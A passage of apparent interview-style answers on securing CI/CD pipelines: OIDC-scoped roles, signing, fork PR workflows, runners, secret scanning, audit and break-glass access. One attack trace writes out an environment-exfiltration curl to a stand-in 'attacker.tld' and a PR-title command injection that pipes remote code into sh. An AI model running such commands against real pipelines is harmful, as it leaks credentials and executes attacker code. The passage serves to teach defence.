  • Build gets an OIDC workload identity scoped to the source ref (sub=repo:org/app:ref:refs/heads/main). It reads source and writes to a staging bucket. It holds no signing key and no deploy credentials.
  • Signing is a separate service behind a protected environment. The key lives in KMS/HSM; the service verifies SLSA Build L3 provenance and policy, then signs the exact digest. The runner asks for a signature and never sees the key.
  • Deploy gets a different OIDC identity scoped to the target environment (sub=repo:org/app:environment:prod). It reads only signed artifacts from an immutable store and writes to one environment's bounded resources.
StageOIDC subReadsWritesHolds key
Build...:ref:refs/heads/mainsource (read-only)staging bucketno
Sign...:environment:releasestaging artifact + provenancesignature + Rekor entryKMS/HSM only
Deploy...:environment:prodsigned artifact (immutable)one env's resourcesno
YAML
# build job: read source, mint an OIDC token, nothing else
permissions:
  contents: read
  id-token: write

Why it works. The build runner is the most exposed component: it executes untrusted code. Because it holds no key, a compromise there can poison staging but cannot forge a release: the signing service recomputes the digest, checks provenance says the artifact came from the expected workflow and commit, and refuses anything else. The key stays in KMS, so the only thing an attacker can do with build credentials is ask for a signature, and the policy answers no. Blast radius is one stage, not the release pipeline.

Sequence. Build mints an OIDC token, assumes the build role via sts:AssumeRoleWithWebIdentity (default session 3600 s), uploads app.tar.gz plus provenance. The release job, gated by a required approval, mints a token with sub=...:environment:release, calls the signing service, which calls kms:Sign on the digest. Deploy mints sub=...:environment:prod, pulls the artifact, verifies the signature against the release key (or a Fulcio cert plus Rekor inclusion proof), then applies.

Alternatives and when this is wrong. A single signing identity per org is fine when there are no untrusted contributors, one artifact store, and the same team owns build and release: three identities cost three OIDC trust policies and three role definitions to maintain. Keyless Sigstore (Fulcio + Rekor) removes the long-lived key entirely: the runner gets an ephemeral key, Fulcio issues a short-lived cert bound to the OIDC identity, Rekor logs the signature. Trade-off: you now trust Fulcio's CA and depend on Rekor reachability, which is awkward air-gapped. If you have no KMS/HSM, at minimum isolate signing in its own job with a protected environment: weaker, because a runner compromise can still read the key from memory.

Failure modes and detection. Stage impersonation: build credentials assume the deploy role (confused deputy). Alert on AssumeRole where the token sub doesn't match the expected workflow ref. Artifact swap: deploy pulls a digest that doesn't match the signature. The admission check rejects it and logs the mismatch. Key exfil: unexpected kms:Sign callers in CloudTrail. Stale credentials: alert on session age beyond the expected window.

What would change the decision: self-hosted runners you don't control weaken OIDC identity. You'd need hardware attestation or a dedicated signing host.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-23

Design environment protection for production secrets.

Answer

Assumptions: GitHub Actions as CI, AWS as the cloud, secrets in AWS Secrets Manager (Vault is the same shape). Production deploys from main only.

The 90-second answer. Don't store production secrets as repo or org secrets: every workflow in the repo can read those. Split the problem in two: gate who can obtain a credential, then scope what that credential can read. Use an environment-scoped OIDC federation so the job receives a short-lived token instead of a long-lived secret, and put the environment behind required reviewers. The production role is only reachable by a job that names environment: production and has been approved.

Mechanism. GitHub mints an OIDC JWT per job run. Its sub claim encodes the repo and environment: repo:acme/api:environment:production. The AWS IAM trust policy conditions on that exact string:

JSON
{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:acme/api:environment:production"
    }
  }
}

The role's identity policy allows secretsmanager:GetSecretValue on one ARN. A job that didn't run in the approved environment gets a sub of repo:acme/api:ref:refs/heads/main and the AssumeRole call fails: that's the binding. Default session is 1 hour; if the deploy runs longer the credential expires mid-run, so set the role's max session duration to cover the deploy or refresh. Rotate the secret on a schedule (Secrets Manager rotation Lambda, e.g. every 30 days); the job reads by ARN at runtime, so rotation needs no redeploy.

Why revalidate after approval. Approval is granted against a commit SHA. A re-run, a rebase, or a rebuilt artifact can change what actually deploys. Re-check the artifact digest and the workflow revision against the approved SHA immediately before issuing the credential, not at approval time.

Trade-offs. Named reviewers (up to 6 users/teams) suit low-frequency, high-blast-radius deploys; they add queue latency and humans rubber-stamp under pressure. Policy approval (OPA/Conftest, a change-management system) is fast and consistent but the policy itself becomes the attack surface. For refs: branch allowlists are mutable. Anyone with push to main passes; protected tags or a signed commit are stronger; the environment claim is strongest because a push can't forge it.

Failure modes.

  • Self-approval: requester approves their own run. Detect by comparing approver to actor in the audit log; block when equal.
  • Stale approval: approval valid for a SHA that no longer matches the artifact. Detect by binding approval to SHA plus a short expiry; a 30-minute window against a 4-minute median queue is fine, a 24-hour window is not.
  • Workflow-edit bypass: a PR removes environment: from the deploy job. Detect by protecting the workflow file with CODEOWNERS and branch protection, and asserting the environment is present in CI.
  • Over-broad role: one role for all repos. Detect via CloudTrail AssumeRoleWithWebIdentity events with an unexpected sub.

Emergency override. A time-boxed break-glass role, separate from the normal path, with its own audit trail and a mandatory post-incident review.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-9

Design runners for production deployment jobs.

Answer

Assumptions first. Deploys run from a CI system (GitHub Actions, GitLab CI, Buildkite) that can schedule onto our own Kubernetes cluster, and the job needs to reach a production VPC and assume a cloud role. That makes the runner part of the credential boundary, so I treat it as production infrastructure, not CI.

The design. One ephemeral pod per job, scheduled into a dedicated node pool, created from an image pinned by digest, destroyed when the job ends. The job holds no long-lived secret: it exchanges its platform OIDC token for a short-lived cloud role and fetches secrets just in time. Nothing survives the job, so there is no cache or credential residue for the next one to inherit.

Why the isolation actually holds. Each control closes a specific escape path:

  • Pod-per-job with hostPID: false, hostNetwork: false and no hostPath mounts means a job cannot read another job's /proc or the host filesystem.
  • No /var/run/docker.sock mount. A mounted socket is root on the node; build images with rootless Buildah or Kaniko instead.
  • securityContext: runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false, capabilities.drop: ["ALL"], seccompProfile.type: RuntimeDefault. The Kubernetes restricted Pod Security Standard.
  • Egress NetworkPolicy default-deny, allowing only the artifact registry and the prod API endpoint. That blocks both exfiltration and the metadata endpoint at 169.254.169.254.
  • IMDSv2 required with http_put_response_hop_limit = 1 on the nodes, plus IRSA/OIDC for cloud credentials, so even a job that reaches IMDS gets nothing.
YAML
securityContext:
  runAsNonRoot: true
  readOnlyRootFilesystem: true
  allowPrivilegeEscalation: false
  capabilities: { drop: ["ALL"] }
  seccompProfile: { type: RuntimeDefault }

Alternatives and when to pick them.

OptionIsolationCold startCost model
Ephemeral pod per job (ARC, GitLab k8s executor)Strong: fresh pod, fresh identity~15–30 sPer job-minute
Pooled persistent runnersWeak: state and creds persist across jobsWarmAlways-on nodes
Hosted SaaS runnersStrong, but no route into your prod VPC~20–40 s queuePer job-minute

Criterion: ephemeral whenever the job holds prod credentials or runs code from an untrusted PR. Pooled is acceptable only for read-only CI with no secrets and no prod network path: you are trading isolation for a warm start.

Cost arithmetic: a 6-minute deploy on a c6i.xlarge (~$0.17/hr on-demand) is about $0.017 per run; 200 deploys/month ≈ $3.40. A 10-node always-on pool is roughly $1,240/month. The cold start is the real price, not the compute.

Failure modes and how I detect them.

  • Orphaned runner after an orchestrator failure: the pod keeps a valid OIDC token. A reconciler deletes pods past activeDeadlineSeconds (e.g. 1800) and alerts on job age.
  • Cancellation: SIGTERM, then terminationGracePeriodSeconds (default 30 s), then SIGKILL. Verify emptyDir and node disk are clean afterward.
  • Token replay: the OIDC token is short-lived and the STS session defaults to 1 hour. On suspected host compromise, delete the role session and rotate the OIDC trust rather than waiting for expiry.

Audit. Collect the platform audit log plus CloudTrail for the assumed role, integrity-protected, with secret values never written to it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-20

Secure reusable workflows and third-party actions that receive secrets.

Answer

Assumptions: GitHub Actions, org-level reusable workflows, third-party actions from Marketplace. The question is how to secure them when they receive secrets.

Core answer: Treat any action or reusable workflow that receives a secret as untrusted code running with your credentials. The strongest control is to not give it a long-lived secret at all: use OIDC to mint short-lived cloud credentials scoped to the job. When you must pass a secret, pin the action or reusable workflow to a full 40-character commit SHA, restrict permissions, pass explicit secrets (never secrets: inherit), and gate the job with environment protection rules.

Mechanism: A tag like v4 is mutable. The action owner can retag it to point at a malicious commit. A full commit SHA is immutable; GitHub resolves it to that exact tree. But pinning alone doesn't stop transitive drift: a pinned action can still npm install unpinned dependencies at runtime, or call other actions. So inspect the action's action.yml and its post steps, and restrict network egress. Environment protection rules (required reviewers, wait timer, branch restrictions) gate the job that can access the environment's secrets. The secret is only injected after approval. permissions at job level: the default GITHUB_TOKEN is often read-write for contents in older repos; set permissions: read-all at workflow level and elevate per job. For reusable workflows, secrets: inherit passes all caller secrets to the called workflow; use explicit secrets: mapping instead.

Trade-offs: OIDC eliminates long-lived secrets but requires cloud-side trust policy configuration and fails if the cloud provider doesn't support it or if the job runs on a runner without id-token: write. SHA pinning is secure but creates maintenance burden: you must update SHAs manually or with Dependabot; version tags are easier but mutable. Environment protection rules add latency (manual approval) and can block automated deploys; use them for production, not for every job. Isolated runners (self-hosted, ephemeral) reduce blast radius but cost more and need hardening. Egress policy (e.g., allow only api.github.com and your cloud endpoints) stops exfiltration but can break actions that fetch dependencies.

Failure modes: A pull_request_target workflow that checks out PR code and runs it with secrets. The attacker opens a PR that modifies a script, and the workflow runs it. Detection: audit logs show pull_request_target events with secret access from a fork; secret scanning in logs. Leak: an action echoes the secret to logs; detection: GitHub secret scanning for Actions. Another: a tag is retagged; detection: actions/dependency-review-action flags the SHA change if you pin, but if you don't pin you won't see it. Operational cost: rotating a leaked secret requires revoking in the cloud provider, updating the GitHub secret, and re-running failed jobs; with OIDC you just revoke the trust policy.

Artefacts:

YAML
name: deploy
on:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write   # required for OIDC

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production   # protection rules: required reviewers, branch main
    steps:
      - uses: actions/checkout@<40-char-sha>  # v3.5.0, full SHA
      - uses: aws-actions/configure-aws-credentials@<40-char-sha>  # v2.0.0, full SHA
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: us-east-1
      - run: ./deploy.sh
ControlWhat it stopsCost / trade-off
OIDC (id-token: write)Long-lived cloud secrets in GitHubRequires cloud trust policy; fails if provider lacks OIDC
Full SHA pinMutable tag retaggingManual updates; Dependabot can automate
permissions: read-allOver-privileged GITHUB_TOKENMay break jobs that need write; elevate per job
Environment protection rulesUnapproved access to production secretsAdds latency (manual approval); blocks automated deploys
Explicit secrets: mappingsecrets: inherit leaking all caller secretsMore verbose; must list each secret
Egress policyExfiltration of secrets to attacker-controlled hostsCan break actions that fetch dependencies

Trace: 1. You write uses: evil/action@v1. 2. Attacker compromises evil/action repo, pushes malicious commit, retags v1 to that commit. 3. Your next workflow run resolves v1 to the new commit and executes it with your GITHUB_TOKEN and any secrets in the job. 4. If you had pinned to evil/action@a1b2c3..., the run would still use the old commit; the retag has no effect.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-4

Secure pull-request testing without exposing deployment secrets.

Answer

Assumptions I'd state before answering: public repo, PRs arriving from forks, GitHub Actions, and the deploy target currently holding a long-lived cloud key in repo secrets. If the repo is private with no external contributors, the fork boundary doesn't exist and most of this is unnecessary overhead.

The answer

Split into two workflows with different trust levels, and make the boundary a data handoff, not a code handoff.

Untrusted side: on: pull_request. For a fork PR, GitHub does not inject repository secrets, and GITHUB_TOKEN is read-only regardless of the repo's workflow-permission setting. That is the safety property; don't fight it. Set permissions: contents: read explicitly, pin every action to a full commit SHA, pass persist-credentials: false to checkout so the token isn't left in .git/config, and run on a GitHub-hosted runner (fresh VM per job). Emit exactly one artifact.

Trusted side: on: workflow_run. This runs the workflow file from the default branch, in the base repo context, with secrets available. It must never check out github.event.workflow_run.head_sha. It downloads the artifact, validates it, and deploys behind an environment: with required reviewers.

YAML
# .github/workflows/pr-test.yml — untrusted
on: pull_request
permissions: { contents: read }
jobs:
  test:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@<40-char-sha>   # v4.2.2
        with: { persist-credentials: false }
      - run: make test
      - run: tar -czf dist.tgz -C build .
      - uses: actions/upload-artifact@<40-char-sha>
        with: { name: dist, path: dist.tgz, retention-days: 1 }
YAML
# .github/workflows/deploy.yml — trusted
on:
  workflow_run: { workflows: [pr-test], types: [completed] }
permissions: { contents: read, id-token: write }
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    environment: production        # required reviewers gate the secrets
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/download-artifact@<40-char-sha>
        with:
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      - run: ./verify-and-deploy.sh   # no PR-controlled string on the command line

id-token: write lets the deploy step assume a cloud role via OIDC instead of holding a stored key. The GitHub OIDC token's exp defaults to 5 minutes; the AWS STS session it buys defaults to 1 hour.

Trace: a fork PR trying to steal the key

  1. Attacker opens a PR from a fork. pull_request fires. secrets.AWS_KEY resolves to the empty string; GITHUB_TOKEN is read-only on contents.
  2. Attacker edits pr-test.yml to curl -d @/proc/self/environ attacker.tld. The workflow file used for pull_request comes from the PR merge ref, so the edit does run, and gets nothing.
  3. Attacker edits deploy.yml instead. workflow_run reads the workflow file from the default branch, so the edit is ignored until merged.
  4. Attacker uploads a dist.tgz containing ../../.ssh/authorized_keys. The trusted job downloads it, so extraction must target an empty directory with traversal and symlinks rejected, and nothing from the artifact may run as root.
  5. Attacker sets the PR title to "; curl attacker.tld|sh; #. Any run: that interpolates ${{ github.event.pull_request.title }} executes it in the trusted job. Pass untrusted values through env: and quote them.

Event semantics worth memorising

triggersecrets injectedGITHUB_TOKENworkflow file taken from
pull_request (fork)noread-onlyPR merge ref
pull_request (same-repo branch)yesper permissions:PR branch
pull_request_targetyesread/write unless repo default restrictedbase default branch
workflow_runyesper permissions:base default branch

Trade-offs

Rebuild vs verify. Rebuilding the merged commit in the trusted job is the safe default and costs a second full build. Verifying an attestation (actions/attest-build-provenance plus gh attestation verify) is cheaper, but it proves only which workflow produced the bytes, not that the bytes are safe. You still deploy code an untrusted runner built. Choose verify when the build is expensive and non-hermetic, and accept that you are trusting the builder.

Egress. Standard GitHub-hosted runners have no built-in egress allowlist. If you need one, put the job behind a proxy or a self-hosted runner in a restricted subnet, and never reuse that runner for untrusted code without a full teardown, because state persists between jobs.

When this is overkill: private repo, no forks, every contributor has write access. Then pull_request with secrets is fine and the split only adds latency.

Failure modes and how to catch them

  • pull_request_target combined with actions/checkout at ref: ${{ github.event.pull_request.head.sha }}: the most common leak. Catch it with actionlint and CodeQL's Actions queries in CI, plus CODEOWNERS requiring review on .github/workflows/**.
  • Self-hosted runners registered for a public repo. Catch it by not doing it.
  • A privileged job restoring anything the untrusted job wrote. Rule: one artifact crosses the boundary, extracted into an empty directory.
  • Long-lived cloud keys in repo secrets. Replace with OIDC and a role whose trust policy pins the repo and environment subject.

What would change the decision: if the untrusted tests need real cloud resources, none of the above covers it. You need a separate sandbox account with scoped short-lived credentials and a spend cap. If the build isn't reproducible, rebuild is off the table and you are on verify.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-13

Review a pipeline that stores one organization-wide deployment token.

Answer

The decision rule is not "is a shared token bad" but "what is the blast radius, and can I rotate it without an outage." An org-wide deploy token fails both, so reject it, but the reasoning is what matters in the review.

Why leakage propagates. The token is a bearer credential: possession is authorization. It lives in a secret store, but every consumer materializes it: process environment, ~/.aws/credentials, a Docker build arg baked into a layer, a set -x trace, a cached artifact. GitHub Actions masks registered secret values in logs, but masking is literal string matching; base64-encode the value or split it across two echos and it prints. A third-party action pinned to a tag instead of a commit SHA can be repointed by its author to read ${{ secrets.DEPLOY_TOKEN }}. So the leak surface is every workflow in every repo, plus every action those workflows call.

Blast radius, counted. If the token deploys to 40 repos × 3 environments, one leaked value is 120 deploy targets. With per-environment OIDC roles the same leak yields zero, because there is no static secret to steal.

Why rotation causes an outage. Rotation is one write to the secret store but N reads by consumers. Consumers that read at job start pick up the new value; consumers holding a baked copy (an AMI, a container image, a vendored .env) keep the old one and fail with 401/403 at deploy time. Rotate in place and in-flight deploys fail mid-run. That is why rotation gets deferred, and deferred rotation is how a leaked token stays live for months.

Failure modes and how you detect them.

  • Third-party action exfiltration: watch runner egress; pin actions to commit SHAs so Dependabot can flag a moved ref.
  • Log leakage: scan job logs for credential prefixes (ghp_, AKIA); GitHub secret scanning covers supported patterns.
  • pull_request_target misuse: that trigger runs with base-repo secrets, so a PR that checks out and executes PR head code runs attacker code with the token. Audit workflows for pull_request_target plus a checkout of the PR head.
  • Self-hosted runner persistence: state survives between jobs. Detect by checking whether runners are ephemeral.

Alternatives against deciding criteria.

OptionBlast radiusRotationAttributionConstraint
Org-wide static tokenall repos/envsmanual, outage-pronenone: one identity—
Per-env static secretone envper env, still manualper envsecret sprawl
OIDC → cloud roleone repo+env+refnone, no secret existsCloudTrail shows role session with subcloud must trust the IdP
Vault dynamic credsone jobTTL, automaticlease + audit logneeds Vault

The OIDC exchange, traced. The workflow sets permissions: id-token: write; the runner then exposes ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN. The action calls that URL and receives a JWT whose sub is repo:org/repo:environment:prod and aud is sts.amazonaws.com. AWS AssumeRoleWithWebIdentity validates those claims against the role's trust policy and returns credentials with a default 1-hour session. No long-lived secret exists to leak.

Migration. Run both paths, gate on the new path succeeding in a canary repo, then flip repo by repo. Revoke the shared token only after the last consumer is off it, and check images, AMIs and CI caches for copies first.

When the shared token is defensible: one repo, one environment, no third-party actions, and a rotation runbook you have actually executed. That combination is rare.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-19

Design secret scanning across the software lifecycle.

Answer

Assumptions. ~500 engineers, GitHub + Actions, AWS, and credentials already live in Vault or Secrets Manager. If there is no secrets manager, scanning is treating a symptom: fix that first, because a finding with nowhere to rotate to is just an alert. I'll also assume the scanner can reach provider APIs.

The answer. Three layers, each with a different job, and one rule that decides everything: block on verified credentials, not on pattern matches.

  • Commit-time (feedback). gitleaks as a pre-commit hook over the staged diff. Budget under ~1s, or people run --no-verify and you have built nothing. It is advisory: a local hook is trivially bypassed, so it exists to catch the honest mistake before it leaves the laptop.
  • Server-side (prevention). A pre-receive hook, or GitHub push protection. This is the only layer a developer cannot disable. Push protection blocks the push, shows the detector and location, and records a bypass reason when someone overrides, which gives you an audit trail of every "it's a test key" claim.
  • Discovery (everything already written). Full git history, not HEAD, plus CI artifacts, container image layers, Terraform state, logs and package registries.

Why verification beats entropy. Entropy is a property of the string, not of the secret. detect-secrets ships Base64HighEntropyString at 4.5 bits/char and HexHighEntropyString at 3.0: both 75% of the alphabet maximum (log2 64 = 6, log2 16 = 4). That threshold flags minified JS, base64 image chunks, UUIDs and content hashes. A validator calls the provider (AWS sts:GetCallerIdentity, Slack auth.test, Stripe GET /v1/account) and returns live or dead. That turns a probabilistic signal into a binary one, which is what lets you block a push without drowning developers. The cost is one network call per candidate, provider rate limits, and a willingness to send the token to the provider (never to a third party you do not control).

Why history is not HEAD.

$ git commit -m "add config"    # A: adds AWS_SECRET_ACCESS_KEY=...
$ git rm config && git commit   # B: removes it
$ git push

HEAD is clean. git cat-file -p A:config still returns the secret, and anyone who cloned between A and B has it. Rewriting history with git filter-repo does not fix this: forks, clones, CI caches and the provider's own fork network keep the object. Rotation is the only remediation; a history rewrite is cleanup, not containment.

Canary. Commit a syntactically valid but non-functional token, an AKIA-prefixed ID with no matching IAM user, into a test repo on a schedule. If no alert fires within your target window, detection or alerting is broken. This exercises the whole path: detector, pipeline, routing, on-call. A regex unit test does not.

Failure modes. Base64-encoded or line-split secrets evade pattern rules; secrets in binary artifacts and image layers evade diff-based scanners; a scanner that cannot reach the provider API silently degrades to entropy-only and starts crying wolf. Track alert-to-confirmation ratio per detector; a detector below roughly 50% precision gets tuned or dropped, not left in place to train people to ignore alerts.

Targets. Live credential confirmed: revoke within 1 hour, then scope the blast radius. What did that principal touch while it was valid? Real-format but dead secret in history: rotate within 24h. Exceptions are allowlist entries with an owner, a reason and an expiry date, never a permanent suppression.

What would change this. With no secrets manager, I would spend the first sprint on that instead, because scanning without a rotation target only produces noise. If one team owned every credential, I would drop per-detector routing and keep the three layers.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-14

Design audit and detection for pipeline credentials.

Answer

Core answer (first 90 seconds).

Assume CI authenticates with short-lived OIDC tokens (GitHub Actions → sts:AssumeRoleWithWebIdentity, default session 3600 s), secrets come from a lease-issuing store (Vault), and the credential is then used against a target API. Design three planes (issuance, access, use) joined by one key: the credential session ID.

The pivot is issuance. The OIDC exchange is the only moment CI identity is bound to the credential: the token's sub claim (repo:octo-org/octo-repo:ref:refs/heads/main), aud, and workflow ref are visible there and nowhere later. After STS returns a session, the credential is opaque. So capture claims at mint time, stamp the session name into every downstream call, and correlate on it. Log no secret values: Vault already HMAC-SHA256s them.

PlaneEventSourceRetention
issueOIDC exchange: sub, aud, repo, ref, environmentGitHub OIDC + CloudTrail AssumeRoleWithWebIdentity1 yr
accesssecret read, lease, renewal, denialVault audit device (vault audit enable file file_path=/var/log/vault_audit.log)1 yr
usetarget API call, resource, actionCloudTrail data events / cloud audit logs90 d hot, then archive

Detection. Alert on session-level divergence, not per-event. Any use of a resource outside the repo's allowlist:

SQL
SELECT e.session_id, e.sub_claim, e.target_resource
FROM cred_events e
LEFT JOIN allowlist a
  ON a.repo = split_part(e.sub_claim, ':', 2)
 AND a.resource = e.target_resource
WHERE e.plane = 'use'
  AND a.repo IS NULL
  AND e.ts > now() - INTERVAL '15 minutes';

Trace of a real attack. A fork PR runs a workflow with id-token: write.

  • t0: token minted, sub=repo:octo-org/octo-repo:pull_request, aud=sts.amazonaws.com.
  • t0+1 s: AssumeRoleWithWebIdentity, session 3600 s, session name recorded in CloudTrail.
  • t0+3 s: reads a prod secret; Vault audit log records the HMAC'd path plus the session.
  • t0+5 s: calls prod RDS with the credential.
  • Detection: the use event's target_resource is absent from the allowlist for octo-org/octo-repo → alert. Latency ≈ CloudTrail delivery (typically ≤5 min) + SIEM ingest (seconds), so ~5–6 min after use.

Trade-offs. CI-native audit (GitHub audit log) is free and carries repo/actor/workflow, but has no secret-read or target-use visibility and bounded retention. Vault-side audit sees every read with HMAC'd paths but is blind to what the credential does afterward. Egress/cloud-side (CloudTrail data events) sees the actual use but is off by default and billed per event, and loses identity unless the session name is carried forward. Criterion: if the credential is short-lived and scoped to one role (STS 1 h), issuance+use correlation suffices; if it is a long-lived static token with no session boundary, you need egress detection. Skip full-fidelity logging of high-volume read-only data-plane calls (S3 GETs): aggregate them; keep full fidelity on control-plane and secret reads.

Failure modes. (1) Runner code execution can delete its own logs: ship to a separate account with write-only credentials and S3 Object Lock. (2) CloudTrail data events off by default means the use plane is invisible and you believe you are covered: run a canary call and assert it appears. (3) Clock skew between runner, Vault and cloud pushes use events outside the join window: monitor event ts vs ingest ts. (4) Per-read alerting fires thousands of times a day: alert on session divergence instead.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-22

Investigate anomalous use of a short-lived pipeline session.

Answer

What I'd say first

Assume the session is a CI-issued short-lived credential: a GitHub Actions OIDC id-token (valid 5 minutes) exchanged via AssumeRoleWithWebIdentity for AWS STS credentials (default 1 hour, max 12 hours), or a Vault dynamic secret with a 1-hour TTL. The credential has expired. That bounds the window; it does not undo anything.

Two things make expiry weak as a containment boundary. Actions persist: pushes, artifact uploads, S3 writes, database reads all happened while the credential was valid. More important, a short TTL limits one credential, not the attacker's ability to mint the next one. If the workflow that requested the token can be re-triggered (a merged PR, a stolen PAT, a maintainer account) the attacker gets a fresh hour. So the first move is not "wait for expiry"; it is to cut the minting path.

First move, in order

  1. Disable the workflow, revoke the PAT or deploy key, lock the branch that can trigger it. This stops re-minting.
  2. Preserve evidence before anything rotates (table below).
  3. Then scope containment.
SourceDefault retentionWhat it proves
Actions job log / artifact90 dayscommands run, artifact hashes
OIDC claims (sub, job_workflow_ref)in the run recordwhich repo, ref and workflow minted it
CloudTrail AssumeRoleWithWebIdentity90 days in event historywhich role, which principal, what calls followed
Vault audit deviceyour configsecret path, TTL, client
VPC flow logsyour configegress to unexpected destinations

Trade-off: revoke trust vs observe

Deleting the OIDC trust policy or the role stops re-minting, but it also blinds you, you lose the signal of the attacker trying again, and it breaks every legitimate pipeline on that role. Criteria: if the minting path is already cut in step 1, you can afford a short observation window to map blast radius. If the foothold is a self-hosted runner you do not control, revoke immediately; that runner can re-register and mint again.

Don't rotate everything

Rotate what the session could actually reach: the role's permissions, secrets in the job environment, the artifact registry, any token the job wrote to logs. Rotating unrelated credentials costs an outage and buys nothing.

Root cause and detection

  • Malicious code (dependency or PR): diff the workflow revision against the reviewed commit; look for new egress destinations in VPC flow logs.
  • Runner compromise: check for re-registration, unexpected processes, C2 egress. A self-hosted runner still registered after the job is a red flag.
  • Claim-policy weakness: the classic is sub matching repo:org/* instead of repo:org/repo:ref:refs/heads/main, or allowing a pull_request trigger to assume a prod role. Detect via CloudTrail events whose sub/job_workflow_ref do not match the expected repo and ref.
  • Admin abuse: audit-log entries for role or policy edits, PAT creation, or workflow edits outside a change window.

What would change the decision

If the role was read-only and the claims show only GetObject on a non-sensitive bucket, observe and close. If it had iam:PassRole or write access to prod, revoke trust now and run it as a full incident.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-21

Design break-glass access to production secrets.

Answer

Assumptions: one AWS account holds prod secrets in Secrets Manager; ~40 engineers; an on-call rotation; an auditor who wants a trail. If your secrets live in Vault or GCP the shape is the same.

The answer: two tiers, because there are two different threats. Tier 1 handles "the on-call needs a prod credential at 03:00." Tier 2 handles "we are locked out of the account, or the identity provider is compromised." One mechanism cannot cover both, and trying to is how you end up with a permanent root token.

Tier 1 is an online PAM: an eligible role in IAM Identity Center or Azure PIM, activated with a FIDO2 key, a justification, a linked incident ticket, and a 60-minute TTL. Tier 2 is offline: the recovery credential split with Shamir's Secret Sharing, 3-of-5, printed, in five physically separate safes.

Why quorum, not one holder. A single holder is a single point of compromise and a single point of unavailability. 3-of-5 tolerates two holders being unreachable (asleep, on a plane, resigned) while still requiring three people to collude to misuse it. The cost is latency: you need three humans awake at once, which is exactly why tier 1 exists for anything short of a full lockout.

Why offline material is testable without exposing it. You don't test the secret, you test the path. Quarterly, two holders retrieve their shares, reconstruct on an air-gapped laptop, make one read-only call (sts get-caller-identity), and rotate the credential. That proves the shares reconstruct and the credential still works, and the rotation means the value that was briefly in memory is dead by morning.

Online PAM (tier 1)Offline shares (tier 2)
Time to accessseconds30 min – hours (find holders, open safes)
Auditautomatic, CloudTrail / PIM logmanual, until someone reports
Survives IdP compromisenoyes
Survives account lockoutnoyes
Blast radius of the grantinside the accountoutside it

Trace of a tier-1 activation.

  • 03:12. Prod DB primary down; on-call lacks secretsmanager:GetSecretValue.
  • 03:14. Requests eligible role breakglass-prod-ro, justification "INC-4471", ticket linked.
  • 03:15. Second on-call from a different team approves; both touch FIDO2 keys.
  • 03:15. Role active, TTL 60 min, session tagged incident=INC-4471.
  • 03:16. get-secret-value succeeds; CloudTrail records the tag.
  • 04:15. Role expires on its own; no cleanup step to forget.
  • 04:20. Automation posts to #security: role used, secret version read, rotation queued.

The trust policy that makes the MFA requirement real:

JSON
{"Effect":"Allow",
 "Principal":{"AWS":"arn:aws:iam::111122223333:role/oncall-engineer"},
 "Action":"sts:AssumeRole",
 "Condition":{"Bool":{"aws:MultiFactorAuthPresent":"true"},
              "NumericLessThan":{"aws:MultiFactorAuthAge":"300"}}}

aws:MultiFactorAuthAge is seconds since MFA, so 300 forces a fresh touch and a session cookie stolen yesterday is useless.

Failure modes and how you see them.

  • Break-glass becomes routine. Detection: any activation without a linked incident ticket pages security; a monthly count above zero outside declared incidents is a finding.
  • Shares co-located. Two holders in the same office collapse the threshold to one. Detection: annual audit of holder locations; require geographic separation.
  • Stale credential after rotation. A pod cached the old secret and rotation does not revoke it. Detection: prefer short-lived DB credentials (IAM auth, 15-minute tokens) over static passwords; if you must use static, alert on clients still presenting the old version.
  • IdP compromise defeats tier 1. An attacker who owns the IdP can approve their own activation. That is the entire reason tier 2 sits offline.
  • Offline use leaves no automatic log. Detection: reconcile the secret version in Secrets Manager against the version recorded at the last drill; any unexplained bump is an incident.

Deciding criteria. Pick online when the threat is "someone needs access now" and you trust the IdP. Pick offline when the threat is "the IdP or the account itself is compromised." The question that decides it: what is the blast radius of the thing that grants access? If the grant lives inside the blast radius, you need a second path outside it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-15

Plan for a secret-manager outage during deployments.

Answer

Assumptions: Vault HA on Raft (3 nodes), Kubernetes apps pulling dynamic DB credentials on a 1h lease, deploys through CI, plus AWS Secrets Manager for a few third-party API keys. "Outage" needs narrowing first: control plane unreachable, sealed, all audit devices down, or a partition. Behaviour differs per case.

Core: classify by consequence, not by service.

BucketHolds a credential?BehaviourBound
New podnocrash-loop; no static fallbackdeploy stalls
Running pod, lease liveyeskeeps serving≤ remaining lease TTL
Running pod, lease expirednoconnection dies—
Non-prod / read-onlycacheddegradecache TTL

The line is revocability. A running job holds a credential Vault issued and can revoke. A new job holds nothing, so "falling back" mints authority nobody can revoke mid-incident.

Trace it. Lease issued at t=0, TTL 3600s. Outage starts at t=600. Renewals fail; the pod serves until t=3600: 3000s (50 min) of remaining life. Outage ends at t=3300 (45 min): the pod never notices. Outage ends at t=4200 (60 min): the pod dies at t=3600, ten minutes before Vault returns. Size the TTL to the outage you can tolerate: 1h for a web tier, 15m for anything touching PII. Watch the ceiling: the database secrets engine defaults to a 1h lease with a 24h max, so a credential can be renewed to live up to 24h from issuance. Remaining life at outage time is still ≤ the lease TTL, but the un-revocable window is bounded by max TTL, which is the argument for keeping it short.

